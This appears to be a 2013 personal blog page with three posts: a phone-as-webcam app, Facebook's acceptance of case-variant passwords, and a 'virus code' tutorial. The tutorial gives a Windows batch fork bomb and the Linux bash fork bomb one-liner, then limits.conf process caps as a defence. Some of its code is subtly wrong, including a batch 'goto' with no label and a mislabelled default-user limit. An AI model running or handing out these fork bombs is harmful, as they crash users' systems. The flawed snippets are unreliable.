Thursday, 28 March 2013

Turning Your Mobile Phones Camera into Web-Cam

Hi Folks,

If you guys don’t have a Web Camera and still want to chat with your friends on Yahoo and Skype, then have a look at what I have got for you.

If you have a Cell Phone with Camera you can use it like your Web-cam.

The SmartCAM is a Open-Source application, connect the PC to your mobile and it will Synchronize your Mobile with your PC through,
Bluetooth. So you can use your Cell Phone Camera as a Web Camera and have a Video Conferencing.

The Mobile OS versions supported are,

  • S60 (Symbian)
  • WinMo6.x (Windows Mobile)
  • Android
  • Samsung Bada
  • J2ME (Java Supported Mobile)
1. SmartCAM is basically developed for the Phones with Bluetooth connectivity using which the integration of your phone cam with your PC is made easy.
2. What you need to get started is, just install SmartCAM in your PC and in your phone also. You need to have the application installed in both the ends.
3. Connect the phone to PC via Bluetooth using the SmartCAM Application Interface.
4. Once you have connected to the PC what you need to do is to synchronize the phone with your PC so that you can easily make it function as your PC Web Camera.
5. SmartCAM works very well with Skype and Yahoo Messenger where you can video chat with your friends using your Phone’s Camera.

Click to download SmartCAM

Wednesday, 27 March 2013

Fork Bombing ( Virus Code ) for Windows & Linux

Hi Folks,

Let's write a virus program to generate a fork bomb...

Let's first know what is a fork bomb..

In computing, a fork bomb is a denial-of-service attack whereby a process continually replicates itself to deplete available system resources.

Fork bombs operate both by consuming CPU time in the process of forking, and by saturating the operating system's process table. A basic implementation of a fork bomb takes the following form:
        set running to true
        while running is true
            create copy of running process
        end // you wont reach here at all
For more details,click here

Let's write the code for it.

The following is windows implementation of fork bomb:

1. Open Notepad,

2. Type the following code in it,
            @echo off
        Call forkbomb.bat
        Goto loop

3. Save it as forkbomb.bat

That's it.

The, concept behind this fork bombing was recursion.

If you run this batch program,

It'll create command prompt again & again until system crashes.

Just like follows..

I'd advice you not to run this on your machine.

For test purpose,
You can run it on a VM Ware machine.

Note: All these code were for educational purposes only.

The following is linux implementation of fork bomb:

Following is a simple way to crash your Linux system as a non-root user with a bash function called recursively.

$ :(){ :|:& };: 
:() is a function which gets called recursively from its body and cannot be killed since it is running on the background with &. : is actually the name of the function. 

Here is the same function call in human readable format:

forkbomb(){ forkbomb | forkbomb & }; forkbomb
As you can see the function is calling its self twice in the body. This will start consume all resources of your system and eventually force your Linux system to crash. To get more understanding type simple function on your command line. The following function is harmless:

$ fork_bomb(){ echo "FORK BOMB"; };
$ fork_bomb
You can take same measures to ensure that your Linux users would not exploit fork bomb. Fork bomb is not a bug nor weakness of Linux system. The responsibility is in hands of systems administrators to limit number of processes available for a user by editing /etc/security/limits.conf file. To limit username fork bomb to only 50 processes add following line:

forkbomb             hard    nproc           50
If you want to limit entire group called fork bomb to only 100 processes add a line below:

@forkbomb              hard    nproc           100 
To make limit of 100 processes as a default value for all users add a following line:
@forkbomb              hard    nproc           100

Friday, 22 March 2013

Three Passwords for your facebook account:

Hi Folks,

Do you guys know that you can login to your Facebook account with three passwords.

Yeah, lets say theSecretKey is your default password.

You can login with,

1. Your original Default password.
    You can login with your default password theSecretKey.

You can also login with,
2. Your original password with the case reversed(Toggle case):
    You can also login with THEsECRETkEY.
    The reason for this is to not irritate you people when you haven't noticed that capslock is toggled.
3. Your original password with the first letter capitalized:
    You can also login with TheSecretKey.
    The reason for this is, most of the mobile devices automatically capitalizes the first letter.
    Especially, Android :-D
And, I hope you are familiar with the three names used fro your Facebook account.
    1. your Facebook name
    2. your email address(which you registered with Facebook)
    3. your mobile number.
And, remember this.

The above is not a security flaw.
It's just a feature provided by facebook.

I'll be back with my next post when I get time.